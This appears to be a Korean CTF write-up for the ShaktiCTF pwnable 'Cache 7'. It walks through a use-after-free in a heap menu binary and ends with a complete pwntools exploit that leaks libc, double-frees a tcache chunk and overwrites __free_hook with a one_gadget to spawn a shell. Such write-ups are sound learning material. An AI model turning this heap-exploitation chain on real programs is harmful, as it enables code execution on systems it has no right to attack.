Pwnable
ShaktiCTF - Cache 7
Rasser
2022. 2. 27. 22:50

main함수
int main(void)
{
long in_FS_OFFSET;
int choice;
undefined8 canary;
canary = *(undefined8 *)(in_FS_OFFSET + 0x28);
initialize();
while( true ) {
while( true ) {
while( true ) {
while( true ) {
printmenu();
puts("choice :");
__isoc99_scanf(&DAT_00400aa4,&choice);
if (choice != 1) break;
add();
}
if (choice != 2) break;
view();
}
if (choice != 3) break;
delete();
}
if (choice == 4) break;
puts("Invalid choice");
}
/* WARNING: Subroutine does not return */
exit(0);
}
add함수
void add(void)
{
long in_FS_OFFSET;
int size;
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
puts("enter the size");
__isoc99_scanf("%d",&size);
if (size < 0x100) {
ptr = (char *)malloc((long)size);
puts("Enter data");
read(0,ptr,(long)size);
}
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
size는 0xff까지 가능(Dec 255), 데이터도 마찬가지
아마 다음 chunk의 데이터를덮어씌울 수 있는거 같다.
view 함수
void view(void)
{
puts("Printing the data inside");
puts(ptr);
return;
}
delete 함수
void delete(void)
{
puts("Deleting...");
free(ptr);
return;
}
free 이후 초기화를 해주지 않는다. 따라서 UAF가 발생
또한 가장 마지막으로 할당된 청크부터 해제함
-------------------------------------------------------
크기를 각각 128, 64로 주고 데이터 입력(A*8+B*8 , C*8+D*8)
gef➤ x/40gx 0x602260
0x602260: 0x4141414141414141 0x4242424242424242
0x602270: 0x000000000000000a 0x0000000000000000
0x602280: 0x0000000000000000 0x0000000000000000
0x602290: 0x0000000000000000 0x0000000000000000
0x6022a0: 0x0000000000000000 0x0000000000000000
0x6022b0: 0x0000000000000000 0x0000000000000000
0x6022c0: 0x0000000000000000 0x0000000000000000
0x6022d0: 0x0000000000000000 0x0000000000000000
0x6022e0: 0x0000000000000000 0x0000000000000051
0x6022f0: 0x4343434343434343 0x4444444444444444
0x602300: 0x000000000000000a 0x0000000000000000
0x602310: 0x0000000000000000 0x0000000000000000
0x602320: 0x0000000000000000 0x0000000000000000
0x602330: 0x0000000000000000 0x0000000000020cd1
0x602340: 0x0000000000000000 0x0000000000000000
0x602350: 0x0000000000000000 0x0000000000000000
0x602360: 0x0000000000000000 0x0000000000000000
0x602370: 0x0000000000000000 0x0000000000000000
0x602380: 0x0000000000000000 0x0000000000000000
0x602390: 0x0000000000000000 0x0000000000000000

데이터가 유출
dfg 가능

unsorted bin 릭해주고 주소 구해준 다음 dfg로 fd에 hook을 쓰고 one가젯으로 덮으면 끝
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
p = process('./chall')
e = ELF('./chall')
libc = ELF('./libc-2.27.so')
#gdb.attach(p)
one_gadget = [0x4f365, 0x4f3c2, 0x10a45c]
def add(size, data):
p.sendlineafter('choice :\n', '1')
p.sendlineafter('size\n', str(size))
p.sendafter('data\n', data)
def view():
p.sendlineafter('choice :\n', '2')
p.recvuntil('inside\n')
def delete():
p.sendlineafter('choice :\n', '3')
add(0x20, 'A'*8)
add(0xf7, 'B'*0x10)
delete()
add(0x20, 'C'*8)
add(0xf7, 'D'*0x10)
for _ in range(7):
delete()
delete()
view()
libc_leak = u64(p.recvuntil('\n')[:-1].ljust(8, "\x00"))
libc_base = libc_leak - 0x3ebc40 - 96
free_hook = libc_base + libc.symbols['__free_hook']
oneshot = libc_base + one_gadget[1]
log.info('libc_leak: ' + hex(libc_leak))
log.info('libc_base: ' + hex(libc_base))
log.info('__free_hook: ' + hex(free_hook))
log.info('one_shot: ' + hex(oneshot))
add(0x30, 'C')
delete()
delete()
add(0x30, p64(free_hook))
add(0x30, 'K')
add(0x30, p64(oneshot))
delete()
p.interactive()
